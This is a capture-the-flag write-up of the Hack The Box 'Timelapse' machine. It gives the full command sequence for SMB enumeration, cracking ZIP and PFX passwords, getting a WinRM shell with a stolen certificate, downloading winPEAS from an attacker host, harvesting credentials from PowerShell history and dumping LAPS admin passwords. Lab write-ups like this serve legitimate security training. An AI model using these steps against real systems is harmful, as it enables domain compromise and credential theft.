Timelapse

Reconnaissance

Name: timelapse.htb Starting with the usual Nmap scan we can see quite a few ports open.

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2022-04-24 20:54:30Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2022-04-24T20:56:02+00:00; +7h59m59s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Issuer: commonName=dc01.timelapse.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-10-25T14:05:29
| Not valid after:  2022-10-25T14:25:29
| MD5:   e233 a199 4504 0859 013f b9c5 e4f6 91c3
|_SHA-1: 5861 acf7 76b8 703f d01e e25d fc7c 9952 a447 7652
|_http-title: Not Found
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49696/tcp open  msrpc             Microsoft Windows RPC
53783/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-04-24T20:55:26
|_  start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s

Most of them are not that important but if you want to learn more make sure to check out the appropriate notes. We can gather quite a few infos from this output. On port 389 we can see that the server is running Active Directory which we can access through LDAP. Additionally the Kerberos authentication service is running on port 88. On ports 139 and 445 we can see SMB running (see the note to understand why two ports are used). And last but not least we find out after googling a bit that port 5986 is for WinRM over SSL.

Gaining Access

First I decided to connect to the SMB Share and see what’s inside. To list all shares available we can use the SMBClient.

smbclient -L \\\\timelapse.htb\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Shares          Disk      
        SYSVOL          Disk      Logon server share

Trying default credentials like Administrator:password didn’t work so I couldn’t access the admin shares. I couldn’t connet to the NETLOGON share but inside the Shares share we find this.

smbclient  \\\\timelapse.htb\\SHARES        

smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

smb: \> cd Dev\

smb: \Dev\> ls
  .                                   D        0  Mon Oct 25 15:40:06 2021
  ..                                  D        0  Mon Oct 25 15:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

smb: \Dev\> get winrm_backup.zip 
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (27.1 KiloBytes/sec) (average 27.1 KiloBytes/sec)

The HelpDesk directory has nothing interesting inside but the Dev directory had an interesting WinRM backup ZIP File. Unfortunately it’s password protected so we will need to crack it. To do that we first need to create a hash with a tool, zip2john and save it in a file hash. Then we can crack this hash with John The Ripper. I used the rockyou.txt wordlist with john since this is the wordlist HTB always uses when a password is supposed to be cracked.

zip2john winrm_backup.zip > hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2022-04-25 12:22) 3.571g/s 12419Kp/s 12419Kc/s 12419KC/s surkerior..supalove
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Lets unzip the zip file with the found password supremelegacy.

unzip winrm_backup.zip

Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx 

Inside is a PFX File. A .pfx file which is in a PKCS#12 format contains the TLS certificate (public keys) and the corresponding private keys. It’s possible to extract the public and private keys. To do that we can use the OpenSSL command, however we discover that the .pfx file has a password. We can use the same procedure as before wiht the zip file.

pfx2john legacyy_dev_auth.pfx > hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:42 DONE (2022-04-25 12:50) 0.02339g/s 75596p/s 75596c/s 75596C/s thugways..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now lets extract the public keys using password thuglegacy with the command OpenSSL.

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out public.key

Now lets get the private keys. Using this command I think (!) you will get a .pem file which you can encrypt with you own pasword. I used 1234.

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.pem

Enter Import Password: thuglegacy
Enter PEM pass phrase: 1234
Verifying - Enter PEM pass phrase: 1234

At this point I didn’t know that Evil-WinRM, a tool to connect to WinRM servers, does not support encrypted private keys. Unfortunately this is exactly what I created with the command depicted above. I couldn’t figure out why Evil-WinRM didn’t work so I tried to find a different way to connect to the WinRM server. Keep in mind that on the server only port 5986 open which is WinRM over SSL. So I needed to figure out a different way. If you want to skip the explanation how I did it without Evil-WinRM, please skip ahead to Evil-WinRM.

Using Ruby

I found this website which described a way to do it in Ruby however the library used, winrm, changed quite a bit since the article was written so I found this Page on GitHub and followed instructions there. It was possible to do it in ruby because I the library allowed to add the password for the private key, in our case 1234. Don’t forget to install the winrm gem with gem install -r winrm. Here is the code I used in the irb aka the Interactive Ruby Shell.

# irb

irb(main):001:0> require 'winrm'
=> true
irb(main):002:1* opts = {
irb(main):003:1*   endpoint: 'https://10.10.11.152:5986/wsman',
irb(main):004:1*   transport: :ssl,
irb(main):005:1*   :client_cert => 'public.key',
irb(main):006:1*   :client_key => 'private.pem',
irb(main):007:1*   :key_pass => 'pass.txt',
irb(main):008:1*   :no_ssl_peer_verification => true
irb(main):009:0> }
=> 
{:endpoint=>"https://10.10.11.152:5986/wsman",
...
irb(main):010:0> conn = WinRM::Connection.new(opts)
=> 
#<WinRM::Connection:0x00005591db8eccc8
...
irb(main):011:1*  conn.shell(:powershell) do |shell|
irb(main):012:2*   output = shell.run('$PSVersionTable') do |stdout, stderr| 
irb(main):013:2*      STDERR.print stderr
irb(main):014:1*    end
irb(main):015:1*    puts "The script exited with exit code #{output.exitcode}"
irb(main):016:0>  end

Name                           Value                                                                                                                                                                                                                     
----                           -----                                                                                                                                                                                                                     
PSVersion                      5.1.17763.2268                                                                                                                                                                                                            
PSEdition                      Desktop                                                                                                                                                                                                                   
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}                                                                                SerializationVersion           1.1.0.1

We first create opts an object with all the needed information: the endpoint, the public key, the private key and the password to the private key. Then we use WinRM::Connection.new to create a new connection which we call conn. Then we can execute Powershell commands. As you can see I printed out the $PSVersionTable variable. Even though Windows Defender was running on the machine we could get a proper Reverse Shell.

Using Evil-WinRM

However let me show you how to do it properly with a decrypted private key and Evil-WinRM. First decrypt the private key we created before

openssl rsa -in private.pem -out private.key

Enter pass phrase for private.pem: 1234
writing RSA key

Now pass the public and private key to Evil-WinRM using the -c and -k options. Also you need to use the -S option to enable SSL.

evil-winrm -i timelapse.htb -S -c public.key -k private.key

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

And we get a proper shell! Now lets grab the flag and move to privelege escalation.

*Evil-WinRM* PS C:\Users\legacyy\Documents> type C:\Users\legacyy\Desktop\user.txt
6462339b946aa36f***************

Privelege Escalation

Lets start with uploading WinPEAS with the help of the Python HTTP server. Start the HTTP server.

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

And download it on the victim.

wget http://10.10.14.9/winPEAS.exe -OutFile winPEAS.exe

Now we can run it. Here is the most interesting line.

ÉÍÍÍÍÍÍÍÍÍ͹ PowerShell Settings
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.17763.1
    PowerShell Core Version: 
    Transcription Settings: 
    Module Logging Settings: 
    Scriptblock Logging Settings: 
    PS history file:
	    C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    PS history size: 434B

Here is important the ouput

*Evil-WinRM* PS C:\Users\legacyy\Documents> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

	whoami
	ipconfig /all
	netstat -ano |select-string LIST
	$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
	$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
	$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
	invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
	get-aduser -filter * -properties *
	exit

Unfortunately I didn’t inspect the ouput close enough to understand that those are basically credentials for the user svc_deploy. You can see a credentials object being created in Powershell as explained here and you can see an example here. Later it is used to invoke the whoami command. Because I didn’t think it is important I tried to find a way to exploit LAPS aka the Local Administrator Password Solution which changed the password of the Administrator periodically. After a while I searched for a writeup online and saw that the solution was in the Powershell history all along. You can simply use those credentials to connect to the WinRM server using Evil-WinRM. Again don’t forget the -S option since WinRM is running over SSL.

evil-winrm -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -i timelapse.htb -S

At this point we can get the Administrators password which is set by LAPS. The reason we can do that is that the user svc_deploy is in a group that can see the ms-mcs-admpwd attribute which stores the admin password in clear text. Lets get this attribute. I found this command here

Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'

Name ms-Mcs-AdmPwd
---- -------------
DC01 )&]gJ!@Bup4W{8/gM$FgctPJ

While doing the box I used this small Python script, LAPSDumper. All it does is sending a request over LDAP to retrieve the same ms-mcs-AdmPwd attribute aka the Administrators password. I suppose it might be helpful if no WinRM port is open. Here is the command to use the script.

python laps.py -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb
DS01:)&]gJ!@Bup4W{8/gM$FgctPJ

At this point all that is left to do is login as Administrator with the password we found and get the flag. However since the Administrators password is changing due to how LAPS was configured HTBs scripts aren’t working and the flag is located in the Desktop folder of another Administrator, TRX.

evil-winrm -u 'Administrator' -p ')&]gJ!@Bup4W{8/gM$FgctPJ' -i timelapse.htb -S 

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\TRX\Desktop\root.txt

c0928c986fd7******************